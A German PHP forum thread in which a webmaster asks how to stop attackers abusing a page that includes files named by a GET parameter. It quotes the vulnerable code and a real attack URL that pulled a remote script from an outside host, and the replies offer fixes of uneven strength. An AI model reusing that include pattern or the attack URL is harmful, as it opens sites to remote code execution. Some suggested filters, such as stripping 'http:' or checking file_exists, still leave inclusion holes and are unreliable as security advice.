Supportnet Computer
Planet of Tech

Supportnet / Forum / Skripte(PHP,ASP,Perl...)

HACKER durch include-Befehl!! - Abhilfe?





Frage

Guten Tag! Einerseits hab ich eine Warnung, verbunden mit einer Frage: Einige meiner Webseiten arbeiten auf folgender Basis: Es gibt eine sog. "rubrik.php", über die sämtliche Links aufgerufen werden. Also z.B. [code]<a href="rubrik.php?se=beispiel">beispiel</a>[/code] Das Ergebnis ist dann, daß er in der rubrik.php die beispiel.php "includet". Die rubrik.php sieht so aus: [code] <html> <?include "meta.php"; ?> <body> <?include "head.php"; ?> <div align="center"> <center> <table border="0"> <tr> <p align="center"> <?include "m.php"; ?> <?php include ($HTTP_GET_VARS'se'].".php"); ?> </tr> </table> </div> </center> </body> </html> [/code] Ich denke, daß ist eine Methode, mit der viele Arbeiten, schließlich ist so gewährleistet, daß auf sämtlichen Unterseiten dasselbe Design vorherrscht (meta.php, m.php (=Menü), head.php). Nun ist es aber so, daß jemand diese rubrik.php zum HACKEN missbraucht hat - und beinahe hätte derjenige damit Erfolg gehabt: Er hat über die rubrik.php eine EXTERNE Datei aufgerufen, auf der sein Hackerscript liegt. Der Link sah dann in etwa so aus: [code] http://meinedomain.de/rubrik.php?se=http://infernalis.republika.pl/code&com=/lib/ld-linux.so.2%20/tmp/..usw. [/code] Dazu wäre zu sagen, daß auf meinem Server die aktuellste PHP-Version läuft (letztes update vor ca. 2 Wochen). Meiner Meinung nach sollte beim nächsten PHP-upgrade der include-Befehl geteilt werden: Einer für lokale includes (den die meisten brauchen), einer für externe. Da ich aber natürlich JETZT eine Lösung brauche, hier nun meine Frage: Wie stell ich es an bzw. wie muss ich die rubrik.php umschreiben, daß nur mehr lokale Datein includet werden dürfen, daß er mir also einen Link/Befehl wie den obigen mit "http://..." ablehnt bzw. nicht ausführt? Danke, Jefferson

Antwort 1 von Lim o.c.

Vielleicht hilft dir ja das hier weiter.
http://www.chscene.ch/ccc/ds/78/007.htm

Greets

Antwort 2 von Nessus

Hi,

checke doch einfach die Umgebungsvariablen des Servers. Wenn die IP/Domainname stimmt, dann kann der Include durchgeführt werden, wenn nicht, ab ins Nirvana. Ist evtl. nicht 100% sicher, aber besser als gar nichts.

HTH

Nessus

Antwort 3 von Feuervogel

oder du schreibst in den link statt des sectionnamens indices durch die dann die jeweiligen sections aufgerufen werden


<?php

$index = $HTTP_GET_VARS'se';

$array = array("rubrik1","foo","bar");

?>

<html>
<?include "meta.php"; ?>
<body>
<?include "head.php"; ?>
  <div align="center">
    <center>
    <table border="0">
      <tr>
<p align="center">
<?include "m.php"; ?>
<?php include ($array[$index].".php"); ?>
      </tr>
    </table>
  </div>
</center>
</body>
</html>


hoffe mein code ist halbwegs verständlich, viel erfolg damit!

Antwort 4 von SchmChris@Work

Filtere doch einfach bei der Variable "se" die Zeichenkette "http:" heraus. So kann niemand mehr externe Seiten aufrufen :-)

Antwort 5 von semi

Setze in php.ini

allow_url_fopen=Off

Damit verhinderst Du, dass Adressen mit Protokollangabe wie http://oder ftp:// als Dateien behandelt werden.

Gruß,
Michael

Antwort 6 von ThomasOOP

@ Jefferson

wenn du sowas codest lädst du jeden "hacker" geradezu ein bei dir böses anzustellen

niemals den dateinamen der über include eingebunden werden soll über get oder post weitergeben

entweder du checkst dann die url von der die php seite aufgerufen ist ( weiss nicht mehr den befehl, es gibt ihn aber und wenn man 100% sicherheit haben will sollte man den auf jeder seite benutzen so sind angriffe von aussen ausgeschlossen )
oder aber du übergibst n index wie Feuervogel es schon sehr gut gezeigt hat

es gäbe da zum thema sicherheit einiges zu sagen

würde aber den rahmen sprengen

zu empfehlen sind immer bücher die sich intensiv mit dem thema beschäftigen

Antwort 7 von michael5

schau doch mal in das buch von rasmus lerdorf (o'reilly-verlag) - "progammieren mit php".

auf seite 313 u. 314 wird da etwas über entfernte dateien und die unterbindung beschrieben.

realpath(), baseneme()

ciao michael

Antwort 8 von SJ

Hab mir das mal so durchgelesen und dazu folgende Idee gehabt:
wenn man schon den direkten Dateinamen in einer Variablen ($dateiname) dem Script mit übergibt und diese dann per include einbinden will, so kann man den oben genannten Hack doch einfach ausschliesen indem man vorher noch prüft ob's die Datei wirklich gibt mittels:

if (!isset($dateiname)) { $dateiname = "standartdatei.php"; }
else {
if ((Trim($dateiname) == "") || (!file_exists($dateiname))) { $dateiname = "standartdatei.php"; }
}
include($dateiname);

Mich würde interessieren was ihr davon haltet. Ist das einigermaßen sicher?
Grüße,
SJ

Antwort 9 von Jürgen Schaaf

Versuch doch mal
include($DOCUMENT_ROOT . $HTTP_GET_VARS['se'] . ".php");
wobei Du in Deinem Link den Pfad voll vorgeben mußt. Z.B.
<a href="rubrik.php?se=/ordner1/ordner2/beispiel">beispiel</a>
Wenn da ein Hacker bastelt, kommt für ihn keine gültige URL zustande.